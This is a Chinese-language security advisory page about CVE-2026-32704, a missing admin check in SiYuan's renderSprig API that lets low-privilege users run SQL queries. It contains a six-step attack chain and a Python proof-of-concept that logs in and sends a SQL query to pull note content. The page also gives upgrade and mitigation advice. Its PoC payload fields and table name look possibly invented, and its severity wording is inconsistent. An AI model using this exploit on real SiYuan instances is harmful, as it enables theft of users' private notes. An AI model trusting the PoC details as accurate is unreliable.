IPBUF安全漏洞报告
English
CVE-2026-32704 CVSS 6.5 中危

CVE-2026-32704 SiYuan笔记系统API未授权SQL注入漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32704
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SiYuan(思源笔记)

相关标签

SQL注入权限绕过思源笔记SiYuanCVE-2026-32704API安全数据泄露信息收集

漏洞概述

CVE-2026-32704是存在于SiYuan(思源笔记)个人知识管理系统中的一个高危安全漏洞。该漏洞位于/api/template/renderSprig接口,由于缺少管理员权限验证(model.CheckAdminRole),导致任何经过身份认证的低权限用户都可以通过该接口执行任意SQL查询。攻击者利用此漏洞可以未授权访问和泄露SiYuan工作空间数据库中的所有笔记内容、元数据以及用户自定义属性信息。漏洞影响版本为3.6.1之前的全部版本,CVSS评分6.5,属于中等严重程度。由于该漏洞不需要高权限或用户交互即可被利用,且可导致敏感数据泄露,建议用户尽快升级至3.6.1或更高版本以修复此安全问题。

技术细节

SiYuan是一款流行的本地优先的个人知识管理系统,支持笔记编写、块级引用和双向链接等功能。在3.6.1之前的版本中,/api/template/renderSprig接口存在严重的安全缺陷。该接口在处理模板渲染请求时,未正确实现权限检查机制,缺少对管理员角色的验证(model.CheckAdminRole)。攻击者只需拥有一个有效的低权限用户账号,即可构造恶意的SQL查询语句通过该接口发送到后台数据库。漏洞允许攻击者绕过正常的应用层访问控制,直接与数据库交互,执行任意SQL命令。由于SiYuan将笔记内容、元数据和属性信息存储在工作空间数据库中,攻击者可以遍历并提取所有敏感数据,包括但不限于笔记正文、标签、文档结构、创建时间等完整信息。这种未授权的数据访问发生在应用层面,难以通过传统WAF规则检测。

攻击链分析

STEP 1
步骤1
攻击者获取SiYuan系统的低权限用户账号(任何有效账号即可)
STEP 2
步骤2
通过/api/auth/login接口进行身份认证,获取有效的访问令牌(Token)
STEP 3
步骤3
构造恶意SQL注入payload,发送到/api/template/renderSprig接口
STEP 4
步骤4
由于该接口缺少model.CheckAdminRole权限检查,系统直接执行注入的SQL语句
STEP 5
步骤5
攻击者通过构造不同SQL语句,遍历获取工作空间数据库中的所有笔记内容、元数据和自定义属性
STEP 6
步骤6
完成数据外泄,攻击者获得完整的敏感信息,可用于进一步攻击或数据贩卖

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-32704 PoC - SiYuan SQL Injection via /api/template/renderSprig # Target: SiYuan instance < 3.6.1 TARGET_URL = "http://target:8336" USERNAME = "attacker" PASSWORD = "password" def get_token(): """Authenticate and get session token""" login_url = f"{TARGET_URL}/api/auth/login" data = { "username": USERNAME, "password": PASSWORD } response = requests.post(login_url, json=data) if response.status_code == 200: return response.json().get('data', {}).get('token') return None def exploit_sql_injection(token): """Execute arbitrary SQL via renderSprig endpoint""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload - extract all note content # The endpoint lacks model.CheckAdminRole validation payload = { "id": "sql_injection_payload", "sql": "SELECT id, title, content FROM siyuan_note --", "template": "${sql}" } exploit_url = f"{TARGET_URL}/api/template/renderSprig" response = requests.post(exploit_url, json=payload, headers=headers) if response.status_code == 200: print("[+] SQL Injection successful!") print("Response:", response.text) return response.json() else: print("[-] Exploitation failed") return None if __name__ == "__main__": token = get_token() if token: print(f"[+] Obtained token: {token[:20]}...") exploit_sql_injection(token) else: print("[-] Authentication failed")

影响范围

SiYuan < 3.6.1

防御指南

临时缓解措施
立即将SiYuan升级至3.6.1或更高版本。在无法立即升级的情况下,可通过配置网络访问控制,限制对/api/template/renderSprig接口的访问,仅允许受信任的IP地址访问管理接口。同时建议监控数据库访问日志,检测是否存在异常的SQL查询行为。如发现可疑活动,应立即更换用户密码并检查数据完整性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表